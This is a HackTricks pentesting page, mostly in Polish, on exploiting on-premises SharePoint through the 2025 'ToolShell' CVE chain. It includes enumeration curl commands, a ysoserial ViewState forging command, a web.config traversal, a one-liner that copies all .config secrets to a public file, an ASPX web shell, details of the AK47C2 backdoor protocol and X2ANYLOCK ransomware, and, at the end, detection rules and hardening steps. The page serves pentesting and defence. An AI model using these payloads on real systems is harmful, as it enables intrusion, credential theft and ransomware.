Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Microsoft SharePoint (on-premises) jest zbudowany na ASP.NET/IIS. Większość klasycznego ataku na powierzchnię webową (ViewState, Web.Config, web shells itp.) jest zatem obecna, ale SharePoint dostarcza również setki własnych stron ASPX i usług webowych, które znacznie powiększają wystawioną powierzchnię ataku. Ta strona zbiera praktyczne triki do enumeracji, eksploatacji i utrzymywania się w środowiskach SharePoint z naciskiem na łańcuch eksploatacji 2025 ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Wstrzykiwanie kodu w ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> pozwala na wstrzyknięcie dowolnego kodu Server-Side Include na stronie, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wykonuje Process.Start() i wprowadzić złośliwy ViewState.

2.2 CVE-2025-49706 – Nieprawidłowe obejście uwierzytelniania

Ta sama strona ufa nagłówkowi X-Forms_BaseUrl, aby określić kontekst witryny. Wskazując go na /_layouts/15/, MFA/SSO wymuszone na stronie głównej może być obejście bez uwierzytelnienia.

2.3 CVE-2025-53770 – Deserializacja ViewState bez uwierzytelnienia → RCE

Gdy atakujący kontroluje gadżet w ToolPane.aspx, mogą przesłać niesigned (lub tylko MAC) wartość __VIEWSTATE, która wywołuje deserializację .NET wewnątrz w3wp.exe, prowadząc do wykonania kodu.

Jeśli podpisywanie jest włączone, skradnij ValidationKey/DecryptionKey z dowolnego web.config (patrz 2.4) i sfałszuj ładunek za pomocą ysoserial.net lub ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Aby uzyskać szczegółowe wyjaśnienie dotyczące nadużywania ASP.NET ViewState, przeczytaj:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Przechodzenie ścieżek / ujawnienie web.config

Wysłanie spreparowanego parametru Source do ToolPane.aspx (np. ../../../../web.config) zwraca docelowy plik, umożliwiając wyciek:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ fałszowanie ViewState / ciasteczek ASPXAUTH
  • ciągi połączeń i sekrety.

3. Przepisy poeksploatacyjne zaobserwowane w dziczy

3.1 Ekstrakcja każdego pliku .config (wariant-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Wynikowy debug_dev.js można pobrać anonimowo i zawiera wszystkie wrażliwe konfiguracje.

3.2 Wdrożenie powłoki sieciowej ASPX zakodowanej w Base64 (wariant-2)

powershell.exe -EncodedCommand <base64>

Przykład zdekodowanego ładunku (skrócony):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Napisane do:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Shell udostępnia punkty końcowe do odczytu / rotacji kluczy maszyny, co pozwala na fałszowanie ciasteczek ViewState i ASPXAUTH w całej farmie.

3.3 Obfuscated variant (variation-3)

Ten sam shell, ale:

  • umieszczony w ...\15\TEMPLATE\LAYOUTS\
  • nazwy zmiennych zredukowane do pojedynczych liter
  • dodany Thread.Sleep(<ms>) dla unikania piaskownicy i omijania AV opartego na czasie.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (zaobserwowane 2025-2026)

Ostatnie badania dotyczące odpowiedzi na incydenty (Unit42 “Project AK47”) pokazują, jak atakujący wykorzystują łańcuch ToolShell po początkowym RCE, aby wdrożyć implant C2 z podwójnym kanałem i ransomware w środowiskach SharePoint:

AK47C2 – dnsclient variant

  • Twardo zakodowany serwer DNS: 10.7.66.10 komunikujący się z autorytatywną domeną update.updatemicfosoft.com.
  • Wiadomości są obiektami JSON szyfrowanymi XOR z użyciem statycznego klucza VHBD@H, kodowane w hex i osadzone jako etykiety subdomeny.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Długie zapytania są dzielone na kawałki i poprzedzane s, a następnie składane ponownie po stronie serwera.
  • Serwer odpowiada w rekordach TXT, które noszą ten sam schemat XOR/hex:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Wersja 202504 wprowadziła uproszczony format <COMMAND>::<SESSION_KEY> i znaczniki kawałków 1, 2, a.

AK47C2 – httpclient variant

  • Ponownie wykorzystuje dokładnie tę samą rutynę JSON & XOR, ale wysyła hex blob w treści HTTP POST za pomocą libcurl (CURLOPT_POSTFIELDS, itd.).
  • Ta sama procedura zadania/wyniku pozwala na:
  • Dowolne wykonywanie poleceń powłoki.
  • Dynamiczny interwał snu i instrukcje wyłączania.

X2ANYLOCK ransomware

  • Ładunek 64-bitowy C++ ładowany przez DLL side-loading (patrz poniżej).
  • Wykorzystuje AES-CBC do danych plików + RSA-2048 do opakowania klucza AES, a następnie dodaje rozszerzenie .x2anylock.
  • Rekursywnie szyfruje lokalne dyski i odkryte udostępnione zasoby SMB; pomija ścieżki systemowe.
  • Zrzuca notatkę w czystym tekście How to decrypt my data.txt, osadzając statyczne Tox ID do negocjacji.
  • Zawiera wewnętrzny kill-switch:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Atakujący zapisuje dllhijacked.dll/My7zdllhijacked.dll obok legalnego 7z.exe.
  2. Uruchomiony przez SharePoint w3wp.exe uruchamia 7z.exe, który ładuje złośliwe DLL z powodu kolejności wyszukiwania Windows, wywołując punkt wejścia ransomware w pamięci.
  3. Obserwowano osobny loader LockBit (bbb.msiclink_x86.execlink_dll_x86.dll), który deszyfruje shell-code i wykonuje DLL hollowing w d3dl1.dll, aby uruchomić LockBit 3.0.

info

To samo statyczne Tox ID znalezione w X2ANYLOCK pojawia się w wyciekłych bazach danych LockBit, sugerując pokrywanie się afiliacji.


4. Pomysły na wykrywanie

TelemetriaDlaczego jest podejrzana
w3wp.exe → cmd.exeProces roboczy rzadko powinien uruchamiać powłokę
cmd.exe → powershell.exe -EncodedCommandKlasyczny wzór lolbin
Wydarzenia plikowe tworzące debug_dev.js lub spinstall0.aspxIOCs prosto z ToolShell
ProcessCmdLine ZAWIERA ToolPane.aspx (logi ETW/Module)Publiczne PoCs wywołują tę stronę

Przykład reguły XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Wzmacnianie i łagodzenie

  1. Patch – aktualizacje zabezpieczeń z lipca 2025 roku naprawiają wszystkie cztery CVE.
  2. Rotuj każdy <machineKey> i sekrety ViewState po kompromitacji.
  3. Usuń LAYOUTS uprawnienia do zapisu z grup WSS_WPG i WSS_ADMIN_WPG.
  4. Zablokuj zewnętrzny dostęp do /_layouts/15/ToolPane.aspx na poziomie proxy/WAF.
  5. Włącz ViewStateUserKey, MAC enabled oraz niestandardowy EventValidation.

Powiązane triki

  • IIS po eksploatacji i nadużycie web.config:

IIS - Internet Information Services

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks